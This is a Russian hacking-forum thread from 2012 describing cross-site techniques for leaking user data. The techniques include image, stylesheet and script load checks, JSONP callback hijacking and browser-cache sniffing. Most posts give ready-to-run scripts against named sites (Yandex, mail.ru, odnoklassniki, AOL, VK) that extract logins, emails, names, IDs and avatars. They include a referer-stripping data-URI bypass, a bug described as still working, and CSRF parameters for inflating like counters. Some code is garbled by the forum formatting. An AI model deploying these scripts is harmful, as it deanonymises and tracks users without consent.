Авторские статьи Получение информации о пользователях. Уязвимости клиентской части [паблик версия]

Discussion in 'Статьи' started by M_script, 20 Sep 2012.

  1. M_script

    M_script Members of Antichat

    Joined:
    4 Nov 2004
    Messages:
    2,599
    Likes Received:
    1,308
    Reputations:
    1,557
    Наиболее известными клиентскими уязвимостями являются CSRF и XSS.
    CSRF позволяет выполнить определенное действие на сайте от имени пользователя. При этом нельзя получить доступ к данным в ответе сервера (без возможности внедрения скриптов на том же домене).
    XSS - это внедрение своего исполняемого кода в страницу уязвимого сайта. Обычно XSS разделяют по способу внедрения на пассивные, активные и DOM-based.

    В своей статье я хочу рассмотреть тип уязвимостей клиентской части, не вписывающийся в стандартную классификацию. Целью атаки будет являться получение какой-либо информации о пользователе уязвимого сайта.
    Способ эксплуатации этих уязвимостей прямо противоположный XSS - внедрение данных c уязвимого сайта в свою страницу, поэтому далее буду условно их называть "обратными XSS".

    Существует много типов данных, которые можно внедрить в страницу со стороннего сайта, но в этой теме будут описаны только 3 варианта:
    Изображения
    Таблицы стилей
    Скрипты



    1) Изображения
    1.1) Проверка формата файла.
    Тег img позволяет проверить, является ли правильным изображением файл, указанный в атрибуте src. Делается это с помощью событий onload и onerror.
    Этот тег может пригодиться для проверки авторизации на сайте, каких-либо пользовательских настроек и прав доступа, брута id пользователя, фотоальбомов, фотографий и т.д.

    На многих сайтах в HTTP-запросах передается обратная ссылка, на которую происходит перенаправление после выполнения запроса.
    Обычно редирект разрешен только на внутренние ссылки и только авторизованным пользователям.
    Наличие на сайте внутреннего редиректа, или изображения, доступного только для зарегистрированных пользователей, позволяет проверить авторизацию пользователя на сайте.

    <img src="[LINK]" onload="alert('good')" onerror="alert('bad')" width=0 />

    Проверка авторизации:
    http://vkontakte.ru/login.php?to=ZmF2aWNvbi5pY28
    http://fotostrana.ru/user/login/?redirect=/favicon.ico
    http://m.facebook.com/login/help/identify?select_user_url=/favicon.ico&email=a@a.a
    http://loveplanet.ru/a-logon/extend-cGF0aD1mYXZpY29uLmljbw
    http://e.mail.ru/cgi-bin/modifyevent?confirm=1&remove.x=0&remove.y=0&next_page=http://img.mail.ru/r/dumb.gif
    https://talkgadget.google.com/talkgadget/gauth?redirect=true&silent=true&host=http://www.google.com/favicon.ico
    http://www.hackzone.ru/memb/?a=do_login&bwurl1=/favicon.ico

    http://forum.antichat.ru/attachment.php?attachmentid=197


    Другие проверки:
    Наличие "мира" на ящике мэйлру - http://my.mail.ru/bk/x/editinfo?Save=1&back=http://img.mail.ru/r/dumb.gif
    Модер - http://forum.antichat.ru/attachment.php?attachmentid=515
    РОА - http://forum.antichat.ru/attachment.php?attachmentid=1474


    1.2) Проверка размеров изображения
    JS позволяет проверить высоту и ширину элементов страницы, в том числе изображения в img. Чтобы получить правильный размер изображения, необходимо, чтобы оно загрузилось полностью.

    Для ускорения загрузки страниц, браузер сохраняет изображения в свой кэш. Значит можно проверить, посещал ли пользователь определенный сайт.
    Тестовым изображением будет рекламный баннер ачата:
    PHP:
    <script>
    onload = function()
    {
        var 
    newImg = new Image();
        
    newImg.style.visibility 'hidden';
        
    newImg.src 'http://forum.antichat.ru/bn/insorg2.gif';
        
    document.body.appendChild(newImg);
        if(
    newImg.offsetHeight != 60 && newImg.offsetWidth != 468)
        {
            
    alert('bad');
        }
        else
        {
            
    alert('good');
        }
        
        
    document.body.removeChild(newImg);
    };
    </script>
    Если изображение в кэше браузера, оно загрузится мгновенно и размеры совпадут с заранее заданными.
    Если пользователь раньше не посещал форум, маловероятно, что изображение загрузится полностью на момент проверки ее размера.

    В качестве еще одного примера использования возьму foto.mail.ru.
    Пользователи этого сайта могут создавать закрытые альбомы. Все фотографии имеют порядковые номера. При удалении фотографий, ее номер больше не используется.
    Так же на сайте есть CSRF, позволяющая скопировать изображения из одного (закрытого) альбома в любой другой (открытый). Для эксплуатации CSRF нужно знать номера существующих фотографий.
    Перебирать все номера в CSRF-запросах неэффективно из-за большого объема ответа.
    При отсутствии файла на фотохостинге ответ выдается в виде изображения (поэтому нельзя проверить через onload/onerror) стандартного размера 320x240.
    PHP:
    <script>
    var 
    myMail 'mail/user_login/user_album/';
    onload = function()
    {
        for(var 
    1<= 10i++)
        {
            var 
    newImg = new Image();
            
    newImg.id Math.random();
            
    newImg.style 'visibility:hidden';
            
    newImg.onload 'checkImg(' newImg.id ')';
            
    newImg.onerror 'removeImg(' newImg.id ')';
            
    newImg.src 'http://content.foto.mail.ru/' myMail 'i-' '.gif';
            
    document.body.appendChild(newImg);
        }
    };
    function 
    checkImg(imgId)
    {
        var 
    newImg document.getElementById(imgId);
        if(
    newImg.offsetHeight != 240 && newImg.offsetWidth != 320)
        {
            
    alert(newImg.src);
            
    removeImg(newImg);
            return;
        }
        
    removeImg(newImg);
        
    createImg();
    };
    function 
    removeImg(imgId)
    {
        
    document.body.removeChild(document.getElementById(imgId));
    };
    </script>
    В алертах будут показаны ссылки на существующие фотографии. Вероятность того, что существующие фотографии будут иметь размер 320x240, достаточно низкая.


    2) Стили
    2.1) Проверка размеров определенного элемента страницы
    С помощью специально сформированной страницы можно проверить доступность css-файла. Также при различных пользовательских настройках css-файлы на сайтах могут отличаться. Для примера опять возьму редирект ВК:
    PHP:
    <head>
    <
    script>
    onload = function() 
    {
        var 
    newA document.createElement('a');
        
    newA.id 'group';
        
    document.body.appendChild(newA);
        if(
    newA.offsetHeight 0)
            
    alert('good');
        else
            
    alert('bad');
    };
    </script>
    <link rel="stylesheet" href="http://vkontakte.ru/login.php?to=Y3NzL2FsL2dyb3Vwcy5jc3M"/>
    </head>
    Если пользователь авторизован, в качестве таблицы стилей будет загружен файл "/css/al/groups.css"
    HTML:
    #group {
      padding: 10px 10px 0px;
    }
    Этот код увеличит высоту элемента с id == group на 10. Если пользователь не авторизован, стили не загрузятся, и высота элемента останется равной нулю.

    2.2) Проверка кода ответа сервера
    Событие onload тега link, в отличие от тега img, не проверяет правильность формата файла в href, но позволяет проверить код состояния ответа. При "4xx: Client Error" и "5xx: Server Error" onload не срабатывает.

    <link rel="stylesheet" href="http://vkontakte.ru/login.php?to=LQ" onload="alert('bad')" />
    Если пользователь авторизован - ответ "404 Not Found", событие onload не срабатывает.
    Если не авторизован - редирект на авторизацию и ответ "200 OK", событие onload срабатыват.

    <link rel="stylesheet" href="http://mirtesen.ru/profile/miniwizard/basic/json/" onload="alert('good')" />
    Если пользователь авторизован - ответ "200 OK", событие onload срабатывает.
    Если не авторизован - форма авторизации с кодом состояния "401 Unauthorized", событие onload не срабатывает.

    Вернемся к примеру с изображениями на фотохостинге мэйлру. При отсутствии фотографии в ответе сервера будет изображение, но код состояния останется стандартным - "404 Not Found".
    PHP:
    <script>
    var 
    myMail 'mail/user_login/user_album/';
    onload = function()
    {
        for(var 
    1<= 10i++)
        {
            var 
    newLink document.createElement('link');
            
    newLink.id Math.random();
            
    newLink.rel 'stylesheet';
            
    newLink.onload 'checkLink(' newLink.id ')';
            
    newLink.href 'http://content.foto.mail.ru/' myMail 'i-' '.gif';
            
    document.body.appendChild(newLink);
        }
    };
    function 
    checkLink(linkId)
    {
        
    alert(document.getElementById(linkId).href);
    };
    </script>
    В отличие от примера с img, здесь не будет ошибочных пропусков изображений размером 320x240.


    3) Скрипты
    Первый пример стандартный. Нахождение скриптов, имеющих различное отображение при авторизации или различных настройках и правах пользователей.
    Для этого могут использоваться внутренние редиректы сайта или аттачи на форумах.
    <script src="http://vkontakte.ru/login.php?to=anMvYWwvYm94Lmpz" onload="alert('good')"></script>
    Событие onload срабатывает, если файл в src содержит правильный JS-код.

    Другой вариант аналогичной проверки:
    PHP:
    <head>
    <
    script>
    Aboutme 0;
    getLang null;
    onload = function()
    {
        if(
    Aboutme == 0)
            
    alert('bad');
        else
            
    alert('good');
    }
    </script>
    <script src="http://vkontakte.ru/login.php?to=anMvbGFuZzBfMC5qcw"></script>
    </head>
    Если пользователь авторизован, загружается скрипт, присваивающий переменной Aboutme значение, отличное от 0. После полной загрузки страницы проверяем эту переменную.

    В современном интернете динамическая подгрузка данных без полного обновления страницы фактически стала стандартом. Вместе с этим появилась новая опасность для пользователей.
    Некоторые сайты передают в скриптах информацию об авторизованном пользователе.
    Соц.сеть "страна друзей":
    PHP:
    <script>
    onload = function() 
    {
        var 
    document.createElement('script');
        
    s.src 'http://www.stranadruzey.ru/battle/ajax/userinfo/counters/?cb=a';
        
    document.getElementsByTagName('head')[0].appendChild(s);
    };
    function 
    a(a)
    {
        
    alert(a.info.id);
        
    alert(a.info.photo);
    };
    </script>
    В алертах будет показан id и ссылка на фото авторизованного пользователя соц.сети.
    Распространенная библиотека jQuery с помощью метода getJSON позволяет обмениваться данными между разными доменами используя тег script (формат JSONP).
    Если при вызове getJSON одному из параметров присваивается значение "?", при запросе библиотека генерирует в этом параметре название callback-функции.
    Пишем свою callback-функцию и передаем в нужном параметре ее имя.

    Крупные сайты тоже допускают подобные баги.
    PHP:
    <script>
    onload = function() 
    {
        var 
    document.createElement('script');
        
    s.src 'http://pass.yandex.ru/services?login=yes&callback=a';
        
    document.getElementsByTagName('head')[0].appendChild(s);
    };
    function 
    a(a)
    {
        
    alert(a.login);
        for (var 
    i in a.services) {
            
    alert (a.services[i].id);
        }
    };
    </script>
    Яндекс - найдется все... Даже Ваш логин и список сервисов, которые активированы на Вашем аккаунте... :cool:

    Если callback-функция не передается, но в скрипте есть вызов какой-нибудь другой функции, ее можно подменить. Стандартный пример с проверкой авторизации:
    PHP:
    <head>
    <
    script>
    var 
    bad true;
    getLang a;
    onload = function()
    {
        if(
    bad)
            
    alert('bad');
        else
            
    alert('good');
    };
    function 
    a(a)
    {
        
    bad false;
        
    getLang null;
    };
    </script>
    <script src="http://vkontakte.ru/login.php?to=anMvbGFuZzBfMC5qcw"></script>
    </head>
    Если пользователь авторизован, загружается скрипт, содержащий вызов функции getLang. С помощью подмены этой функции изменяем значение переменной bad. После полной загрузки страницы проверяем переменную.


    AOL, как и Яндекс, может многое рассказать о своих пользователях:
    PHP:
    <head>
    <
    script src="http://mail.aol.com/common/bundle.js.aspx"></script>
    <script>
    onload = function() 
    {
        eval = a;
        var s = document.createElement('script');
        s.src = Config.BasePagesURL + 'common/settings.js.aspx';
        document.getElementsByTagName('head')[0].appendChild(s);
    };
    function a(a)
    {
        alert(a.ActiveUserEmailAddress);
        alert(a.FromDisplayName);
        var d = new Date(a.AOLCreateDate * 1000);
         alert(d.toGMTString());
    };
    </script>
    </head>
    Пример выводит почтовый адрес, фамилию, имя и дату регистрации аккаунта, но скрипт settings.js.aspx кроме этих данных содержит очень много интересной информации о пользователе и его активности на сервисах AOL'а.
    Путь к скриптам на aol.com не постоянный и зависит от местонахождения пользователя. Ссылки выглядят примерно так - "http://mail.aol.com/12345-123/aol-4/en-us/common/bundle.js.aspx"
    Если в адресе пропустить "12345-123/aol-4/en-us/" в большинстве случаев происходит редирект на правильный адрес. При запросе "common/settings.js.aspx" этого редиректа не происходит и данные о пользователе получить нельзя.
    Но немного поискав, можно найти файл "common/bundle.js.aspx", который успешно редиректится даже без полного пути. Содержимое его выглядит примерно так:
    var Config={"POPIMAPHelpLink":"[ссылка]",...,"BasePagesURL":"http://mail.aol.com/12345-123/aol-4/en-us/",...,"BaseImagesURL":"http://o.aolcdn.com/cdn.webmail.aol.com/12345/images/"};
    Config.EnableTMZPanel=true;
    Config.OverridePlugins={"IDList":[]};
    ...
    В переменной Config['BasePagesURL'] содержится нужная ссылка.

    "Обратные XSS" могут оказаться необходимым дополнением к другим видам атак.
    Например, CSRF (GET/POST) на aol.com невозможна знания полного пути к скриптам.
    http://m.aol.com/mail/12345-123/aol-4/en-us/Wap/ComposeHandler.aspx
    folder=&ActionL10n=Send&To=[Кому]&Subject=[Тема]&PlainBody=[Содержание]




    Вся информация взята из головы, другие источники не использовались. Если ранее где-то было опубликовано нечто подобное, напишите об этом в комментариях.
     
    3 people like this.
  2. M_script

    M_script Members of Antichat

    Joined:
    4 Nov 2004
    Messages:
    2,599
    Likes Received:
    1,308
    Reputations:
    1,557
    Копипаст одноименной темы из РОА от 11.10.2011.
    Тема скопирована не полностью, так как в оригинале есть рабочие примеры эксплуатации уязвимостей на крупных сайтах, приводящие к раскрытию личной информации.
     
  3. VY_CMa

    VY_CMa Green member

    Joined:
    6 Jan 2012
    Messages:
    912
    Likes Received:
    474
    Reputations:
    723
    Хорошо раскидано, мне нравится.
     
    _________________________
  4. M_script

    M_script Members of Antichat

    Joined:
    4 Nov 2004
    Messages:
    2,599
    Likes Received:
    1,308
    Reputations:
    1,557
    Кэш браузера

    4) Кэш браузера
    В пункте 1.2 был описан метод проверки изображений, находящихся в кэша браузера.
    Недавно я нашел интересный способ проверки кэширования не только изображений, но и текстовых файлов (html, js, css и т.д.). Об этом и пойдет речь.
    Same origin policy - политика безопасности браузера, которая запрещает страницам одного сайта получать информацию со страниц другого сайта.

    Если разместить на сайте domain.com страницу
    PHP:
    <script>
    function 
    iframeLoad()
    {
        
    alert(document.frames[0].document.body.innerHTML);
    }
    </script>
    <iframe onload="iframeLoad()" src="http://domain2.com/page.htm"></iframe>
    то фрейм будет загружен, но алерта мы не увидим из-за ограничений same origin policy. Если ту же страницу разместить на сайте domain2.com, сработает алерт, которые выведет содержимое domain2.com/page.htm
    Проверим, как поведет себя браузер если загрузить во фрейм страницу своего сайта, а потом изменить ее на страницу другого сайта используя refresh.

    domain.com/page.htm
    PHP:
    <script>
    function 
    iframeLoad()
    {
        
    alert('ok');
    }
    </script>
    <iframe onload="iframeLoad()" src="http://domain.com/page2.htm"></iframe>
    domain.com/page2.htm
    PHP:
    <META HTTP-EQUIV="REFRESH" CONTENT="0;URL=http://domain2.com/page.htm">
    Мы увидим два алерта. Это происходит потому, что событие onload срабатывает сначала при загрузке domain.com/page2.htm, а потом при загрузке domain2.com/page.htm.
    Попробуем вывести в алерте содержимое фрейма. Для этого немного изменим фукнцию iframeLoad()
    PHP:
    function iframeLoad()
    {
        
    alert(document.frames[0].document.body.innerHTML);
    }
    На этот раз будет показан только один алерт. Второй блокируется политикой безопасности.
    Но если вместо domain2.com/page.htm мы попробуем перенаправить фрейм на какой-нибудь кэшированный файл, ни одного алерта показано не будет.

    domain.com/page2.htm
    PHP:
    <META HTTP-EQUIV="REFRESH" CONTENT="0;URL=http://www.google.ru/favicon.ico">
    Загрузка файла из кэша происходит настолько быстро, что на момент первого вызова функции iframeLoad() во фрейме уже находится страница другого сайта (в примере - www.google.ru)
    Если поведение браузера отличается при загруке из кэша и при загрузке с сайта, значит определение кешированных файлов возможно.

    PoC:
    check.php
    PHP:
    function checkCache()
    {
        // функция вызывается 2 раза:
        // при загрузке refresh.php
        // и при загрузке файла, на который происходит перенаправление
        
        checkCache = null; // отключение повторной сработки после refresh
        
        try
        {
            document.frames[0].document.body; // обращение к методам и свойствам других сайтов запрещено
            alert('bad'); // исключения не было. файл загружен с сайта
        }
        catch(e)
        {
             // если есть исключение, значит файл загружен из кэша
            alert('good');
        }
    }
    </script>
    <iframe onload="setTimeout('checkCache()', <?php echo((int)$_GET['wait']); ?>)" src="refresh.php?url=<?php echo(htmlspecialchars($_GET['url'])); ?>"></iframe>
    refresh.php
    PHP:
    <META HTTP-EQUIV="REFRESH" CONTENT="0;URL=<?php echo(htmlspecialchars($_GET['url'])); ?>">
     
    #4 M_script, 21 Sep 2012
    Last edited: 21 Sep 2012
    1 person likes this.
  5. Adio

    Adio Elder - Старейшина

    Joined:
    23 May 2005
    Messages:
    1,676
    Likes Received:
    147
    Reputations:
    18
    пфф... ну а так не плохо
     
  6. Га-Ноцри

    Га-Ноцри Elder - Старейшина

    Joined:
    16 Oct 2011
    Messages:
    332
    Likes Received:
    177
    Reputations:
    76
    Дальше не читал. CSRF и XSS это не уязвимость, а всего лишь вектор атаки в контексте уязвимого приложения.

    https://www.owasp.org/index.php/Cross-site_Scripting_%28XSS%29.

    Коли уж это форум об информационной безопасности, или, по крайней мере позиционирующий себя таковым, то кому как не почетному грин-мемберу тире модератору многих разделов, не знать о таких мелочах и деталях, не путаясь в терминологии, хотя бы.
     
  7. M_script

    M_script Members of Antichat

    Joined:
    4 Nov 2004
    Messages:
    2,599
    Likes Received:
    1,308
    Reputations:
    1,557
    Если вы не считаете CSRF и XSS уязвимостями, почему даете ссылку на страницу, в которой черном по белому написано "How to Avoid Cross-site scripting Vulnerabilities", "How to Review Code for Cross-site scripting Vulnerabilities", "How to Test for Cross-site scripting Vulnerabilities"?

    http://en.wikipedia.org/wiki/Cross-site_scripting
    "Cross-site scripting (XSS) is a type of computer security vulnerability..."

    http://www.securitylab.ru/analytics/292473.php
    "В последнее время в сообществе специалистов по безопасности Web-приложений широко обсуждается «новый» тип уязвимостей, получивший название Cross-Site Request Forgery (CSRF или XSRF). Предлагаемая вниманию читателя статья содержит описание этого типа уязвимостей, методов его использования и основные походы к защите."

    Конечно же, CSRF и XSS - это векторы атак, так же как и SQL-injection или LFI, к примеру. Но это не мешает существовать одноименным уязвимостям, приводящим к возможности проведения данных атак.

    Если я вас не убедил, тогда ответьте на вопрос - как называются уязвимости, которые дают возможность проведения CSRF и XSS атак?
     
  8. Га-Ноцри

    Га-Ноцри Elder - Старейшина

    Joined:
    16 Oct 2011
    Messages:
    332
    Likes Received:
    177
    Reputations:
    76
    В первом же предложении, по ссылке, которую я предложил, указано:

    PHP:
    Cross-site Scripting (XSS)
     
    This is an AttackTo view all attacksplease see the Attack Category page.
    Но ладно, не будем дергать из контекста статьи отдельные предложения и возьмем, примеру, другую классификацию, по WASC.

    PHP:
    http://projects.webappsec.org/w/page/13246920/Cross%20Site%20Scripting
    Project: WASC Threat Classification
    Threat Type: Attack

    PHP:
    http://projects.webappsec.org/w/page/13246934/Improper%20Output%20Handling
    Improper Input/Output Handling.

    Интерес представляет фраза:

    PHP:
    An application that does not provide data in the correct context may allow an attacker to abuse the data consumer.  This can lead to specific threats referenced within the WASC Threat Classificationincluding Content Spoofing [6], Cross-Site Scripting [7], HTTP Response Splitting [8], HTTP Response Smuggling [9], LDAP Injection [10], OS Commanding [11], Routing Detour [12], Soap Array Abuse [13], URL Redirector [14], XML Injection [15], XQuery Injection [16], XPath Injection [17], Mail Command Injection [18], Null Injection [19] and SQL Injection [20].
    В любом случае, мы возможно, излишне углубились в терминологию. А это явно попахивает дисциплиной специальной Олимпиады. Об этом вопросе можно долго спорить и перебрасываться ссылками на разные источники. Но, повторюсь, в моей картине мира, а также по классификация OWASP/WASC-коммьюнити, XSS - это следствие, а не причина, равно как и атака является следствием уязвимости, которая выступает причиной.

    Если же вас задел излишне резкий тон вчерашнего моего поста - то, признаю, я не несколько перегнул палку, ведь у вас может быть свое видение терминов и классификации в данном вопросе. В конце концов, вы черпаете информацию из одних источников, я из других.

    Каждый из нас, думается, в итоге останется при своем мнении, а значит дальнейший спор бессмысленен.

    Что касается сабжа: прочитал. Спасибо за труды.
     
  9. Rebz

    Rebz Super Moderator
    Staff Member

    Joined:
    8 Nov 2004
    Messages:
    4,074
    Likes Received:
    1,533
    Reputations:
    1,126
    Га-Ноцри, неформально XSS/CSRF называют уязвимостями все эксперты.

    кстати, там же в конце указаны "Null Injection [19] and SQL Injection". Их теперь тоже не считать уязвимостями?
    Представляю себе новость на секлабе: на таком-то сайт найдена уязвимость типа Improper Input/Output Handling. Скомпрометирована база пользователей.
    Жесть).
    Может стоит самому вначале разобраться что написано в источниках?

    и да, M_script не грин-мембер. Классификация закрытых групп тоже хромает ;)
     
    #9 Rebz, 21 Sep 2012
    Last edited: 21 Sep 2012
    1 person likes this.
  10. peektoseen

    peektoseen New Member

    Joined:
    14 Sep 2012
    Messages:
    6
    Likes Received:
    0
    Reputations:
    0
    А что такое РОА?
     
  11. M_script

    M_script Members of Antichat

    Joined:
    4 Nov 2004
    Messages:
    2,599
    Likes Received:
    1,308
    Reputations:
    1,557
    Описание групп на форуме АНТИЧАТ - https://forum.antichat.ru/thread17259.html
     
  12. mav1

    mav1 New Member

    Joined:
    27 Sep 2012
    Messages:
    22
    Likes Received:
    2
    Reputations:
    0
    объяснил неплохо,буду пробывать
     
  13. M_script

    M_script Members of Antichat

    Joined:
    4 Nov 2004
    Messages:
    2,599
    Likes Received:
    1,308
    Reputations:
    1,557
    Еще не пора, потому что есть примеры, которые до сих пор работают. Но все равно выложу. :cool:

    Сначала то, что уже пофиксили:
    --------------------------------------------------
    Логин на Яндексе
    <script src="http://passport.yandex.ru/passport?mode=testloginjs" onload="alert(window.pass_login)"></script>
    (нашел Uex Urgent)

    upd:
    Ящик mail.ru
    PHP:
    <script>
    onload = function() 
    {
        var 
    document.createElement('script');
        
    s.src 'http://swa.mail.ru/cgi-bin/counters?JSONP_call=a';
        
    document.getElementsByTagName('head')[0].appendChild(s);
    };
    function 
    a(a)
    {
        
    alert(a.data.email);
    };
    </script>
    (нашел Uex Urgent)
    --------------------------------------------------
    Баг на mail.ru, позволяющий узнать ящик пользователя, попытались пофиксить.
    При запросе http://swa.mail.ru/cgi-bin/counters?JSONP_call=a теперь проверяется, чтобы сайт в реферере принадлежал мэйлру. Но если реферера нет, все работает нормально.

    Используем протокол data, чтобы убрать реферер:
    PHP:
    <iframe style="width:0px;height:0px;visibility:hidden" src="data:text/html;base64,PHNjcmlwdD5vbmxvYWQ9ZnVuY3Rpb24oKXtzPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoJ3NjcmlwdCcpO3Muc3JjID0gJ2h0dHA6Ly9zd2EubWFpbC5ydS9jZ2ktYmluL2NvdW50ZXJzP0pTT05QX2NhbGw9YSc7ZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoJ2hlYWQnKVswXS5hcHBlbmRDaGlsZChzKTt9O2Z1bmN0aW9uIGEoYSl7YWxlcnQoYS5kYXRhLmVtYWlsKTt9Ozwvc2NyaXB0Pg==">
    --------------------------------------------------
    Количество непрочитанных сообщений в ящике mail.ru
    PHP:
    <script>
    onload = function()
    {
        
    _Counters = new Object();
        
    _Counters.prepare a;

        var 
    document.createElement('script'); 
        
    s.src 'http://my.mail.ru/mail/anyname/counters'
        
    document.getElementsByTagName('head')[0].appendChild(s); 
    }; 
    function 
    a(a

        
    alert(a.MailUnreadMessages); 
    }; 
    </script> 
    Немного оффтопа:
    По той же ссылке http://my.mail.ru/mail/anyname/counters кроме счетчика писем есть счетчики данных из соц.сети "Мой Мир" - непрочтенные сообщения, приглашения в сообщества, заявки в друзья. Смотреть можно не только свои данные, но и любого другого юзера соц.сети. Информацию о username@domain.ru можно посмотреть по ссылке http://my.mail.ru/domain/username/counters
    Примечание: счетчик писем в ящике всегда показывает свое значение, независимо от пути в адресе counters
    --------------------------------------------------
     
    1 person likes this.
  14. M_script

    M_script Members of Antichat

    Joined:
    4 Nov 2004
    Messages:
    2,599
    Likes Received:
    1,308
    Reputations:
    1,557
    Найдено в январе 2012, работает до сих пор:
    --------------------------------------------------
    Имя, фамилия на odnoklassniki.ru
    PHP:
    <script
    onload = function()  

        var 
    document.createElement('script'); 
        
    s.src 'http://www.odnoklassniki.ru/mapi?query={"cmd":"getCounters","jsonPrefix":"a"}'
        
    document.getElementsByTagName('head')[0].appendChild(s); 
    }; 
    function 
    a(a

        
    alert(a.data.firstName ' ' a.data.lastName); 
    }; 
    </script> 
    Примечаение: в реферере должен быть домен *.mail.ru
    --------------------------------------------------
     
  15. M_script

    M_script Members of Antichat

    Joined:
    4 Nov 2004
    Messages:
    2,599
    Likes Received:
    1,308
    Reputations:
    1,557
    Достаточно ценный баг. Умеет превращать дешевый траф в дорогие классы на сайтах. Работал 2 года, но после этого поста жить ему осталось не больше недели.
    --------------------------------------------------
    odnoklassniki.ru
    Имя, фамилия, ID пользователя, ссылка на аватар.
    Реферер не проверяется.
    PHP:
    <script>  
    onload = function()   
    {  
        var 
    document.createElement('script');  
        
    s.src 'http://www.odnoklassniki.ru/dk?st.cmd=shareData&ref=http://mail.ru/&cb=a';  
        
    document.head.appendChild(s);  
    };  
    function 
    a(a)  

    if(
    a.status == 'ok')
    {
        
    alert('Name: ' a.name '\nUserID: ' a.uid); // алерт с именем, фамилией, id
        
    = new Image();
        
    i.src a.avatarURL.replace('&amp;','&'); // выводим аватар на страницу нашего сайта
        
    document.body.appendChild(i);
    }
    else
    {
        
    alert('Не авторизован');
    }
    }; 
    </script>
    ID пользователя дает ссылку на профиль - http://www.odnoklassniki.ru/profile/USERID
    photoType в avatarURL влияет на размер фото.


    UPD:
    Также в ответе сервера передается значение sign, которое используется как CSRF-токен при нажатии кнопки "Класс" на сайтах (http://api.mail.ru/sites/plugins/share/). Можно накрутить счетчик на любом сайте.

    При получении sign в параметре ref должна быть ссылка, на которой находится кнопка "Класс".
    http://www.odnoklassniki.ru/dk?st.cmd=shareData&ref=ССЫЛКА_НА_СТРАНИЦУ_С_КНОПКОЙ&cb=a

    POST-запрос на http://connect.mail.ru/share. Параметры запроса (в url то же, что в ref из первого запроса):
    ubershare=1
    postType=share_like
    url=ССЫЛКА_НА_СТРАНИЦУ_С_КНОПКОЙ
    submitted=1
    comment=КОММЕНТАРИЙ
    ok_uid=USERID
    ok_sig=SIGN

    --------------------------------------------------
     
    4 people like this.
  16. Nyter

    Nyter Member

    Joined:
    30 Aug 2009
    Messages:
    27
    Likes Received:
    6
    Reputations:
    0
    M_script, очень интересно узнать технологию работы таких сервисов как sосfish и smmmаnagеr, позволяющих отследить ID VK пришедшего на сайт или прошедшего по ссылке пользователя. В Интернете есть немного инфы о том в каком направлении нужно работать (например здесь http://habrahabr.ru/post/228617/ и https://talk.pr-cy.ru/topic/8957-kak-rabotaet-opredelenie-stranitcy-polzovatel/?p=102653), но как сейчас реализовать подобный инструмент для личного использования?

    Что касается услуги определения прошедшего по ссылке пользователя в сервисе sосfish, она либо работает некорректно, либо я что то не понимаю, но фактически при прохождении по сгенерированной ссылке идёт перенаправление на приложние-шпион ВК, без дальнейшего перехода на заданную в сервисе целевую страницу.
    Вот 2 этапа по которым мы попадаем на страницу приложения:
    1. [​IMG]
    2. [​IMG]
    Наверняка все эти редиректы с параметрами созданы по причине масштабности проекта, что бы каждый "шпион" получал информацию только от своих ссылок, и наверняка эти параметры должны содержать информацию о конечном сайте (на который должен быть направлен пользователь после посещения приложения).
    Что происходит в приложении и как реализован сбор информации о посетителе БЕЗ установки этого приложения - для меня остаётся загадка, которую очень хочется разгадать :)
    Скорее всего, сбор информации о посетителях сайта (протестировать пока не решился, т.к. услуга платная и оплачивается единовременно за подключение сайта) происходит с помощью этого же приложения, методом подпихивания его (фрейм?) в основной контент страницы.
     
Loading...